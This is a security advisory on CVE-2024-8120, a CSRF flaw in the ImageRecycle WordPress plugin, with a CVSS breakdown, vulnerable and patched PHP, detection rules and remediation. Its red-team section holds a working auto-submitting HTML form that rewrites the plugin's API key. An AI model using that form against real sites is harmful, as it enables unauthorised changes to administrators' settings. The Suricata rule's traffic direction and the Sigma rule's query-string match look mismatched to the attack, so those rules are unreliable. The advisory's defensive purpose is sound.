CVE-2024-8120

Executive Summary

CVE-2024-8120 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the ImageRecycle pdf & image compression plugin for WordPress in all versions up to and including 3.1.14. The vulnerability exists due to missing or incorrect nonce validation on several functions within the class/class-image-otimizer.php file. This flaw allows an unauthenticated attacker to forge requests that can update plugin settings and perform other administrative actions, provided they can trick a site administrator into clicking a malicious link. The CVSS score is 4.7 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept or exploit code has been identified.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress plugin repository and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain risks are limited to the plugin's update mechanism and the integrity of the WordPress plugin directory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector (AV): Network – The attack can be executed remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (administrator) must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): None – No data is exposed.
• Integrity Impact (I): Low – Plugin settings can be altered, potentially leading to misconfiguration.
• Availability Impact (A): None – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for plugin setting manipulation could lead to further compromise (e.g., disabling security features or redirecting uploads).

Deep Dive & Mechanics

The vulnerability resides in the class/class-image-otimizer.php file of the ImageRecycle plugin. This file contains several functions that handle administrative actions such as saving plugin settings, clearing logs, or triggering optimization processes. In a secure WordPress plugin, each of these actions should be protected by a nonce (a one-time token) to ensure the request originated from the legitimate admin interface.

In versions up to 3.1.14, these functions lack proper nonce validation. This means an attacker can craft a malicious HTTP request (e.g., a POST request to wp-admin/admin-post.php?action=imagerecycle_save_settings) that, when executed by an authenticated administrator, will be processed as if the administrator intended it.

The attack flow:

1. The attacker creates a malicious webpage or email containing a forged request (e.g., an image tag or a form that auto-submits).
2. The attacker tricks a logged-in WordPress administrator into visiting that page or clicking the link.
3. The administrator's browser sends the forged request to the WordPress site, including the administrator's session cookies.
4. The server processes the request because it lacks nonce verification, altering plugin settings or performing other actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.1.14): In class/class-image-otimizer.php, functions like save_settings() or clear_logs() are registered via add_action('admin_post_imagerecycle_save_settings', ...) but do not call check_admin_referer() or wp_verify_nonce().

// Vulnerable example (simplified)
public function save_settings() {
    // No nonce check
    update_option('imagerecycle_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=imagerecycle'));
}

Patched Code (Hypothetical): A patched version would include a nonce check at the beginning of each action handler.

// Patched example (simplified)
public function save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'imagerecycle_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('imagerecycle_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=imagerecycle'));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with ImageRecycle plugin version <= 3.1.14.
• An authenticated administrator session (the victim).

Exploitation Steps:

1. Identify the vulnerable action endpoints. For example, admin-post.php?action=imagerecycle_save_settings.
2. Craft a malicious HTML page that auto-submits a form to the target site.

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="imagerecycle_save_settings">
    <input type="hidden" name="settings[api_key]" value="attacker_controlled_key">
    <input type="hidden" name="settings[compression_level]" value="0">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the page and send the link to the victim administrator (e.g., via email or social engineering).
4. Once the victim visits the page, the form auto-submits, and the plugin settings are updated to attacker-controlled values.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to plugin settings (e.g., API keys, compression levels).
• Look for HTTP requests to admin-post.php with actions related to ImageRecycle that originate from external referrers or have unusual parameters.

Prevention:

• Ensure the plugin is updated to a patched version (if available).
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php that lack a valid nonce (though this is difficult to enforce generically).
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-post.php with action=imagerecycle_* parameters.
  • Referrer headers pointing to external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified plugin settings in the WordPress database (wp_options table, imagerecycle_settings option).
• Log IOCs:
  • Unusual entries in WordPress debug logs indicating failed nonce checks (if logging is enabled).

Detection Engineering

YARA Rule

rule Detect_ImageRecycle_CSRF_Vulnerability {
    meta:
        description = "Detects vulnerable ImageRecycle plugin files missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8120"
    strings:
        $func1 = "function save_settings" nocase
        $func2 = "function clear_logs" nocase
        $func3 = "function optimize_all" nocase
        $nonce = "check_admin_referer" nocase
    condition:
        ($func1 or $func2 or $func3) and not $nonce
}

Sigma Rule

title: ImageRecycle Plugin CSRF Activity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF exploitation attempts against ImageRecycle plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=imagerecycle_'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8120 ImageRecycle CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=imagerecycle_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Check the WordPress plugin repository for a patched version. If unavailable, consider disabling the plugin until a fix is released.
2. Implement a WAF rule: Block requests to admin-post.php that contain action=imagerecycle_ unless they originate from the admin dashboard (e.g., check Referer header).
3. Educate users: Train administrators to recognize phishing attempts and avoid clicking suspicious links while logged into WordPress.

Long-term Recommendations:

• The plugin developer should add nonce validation to all admin action handlers.
• Conduct a security audit of the plugin to identify other potential vulnerabilities.
• Monitor the CVE for updates and apply patches as soon as they are available.

Valters IT
Securing Digital Frontiers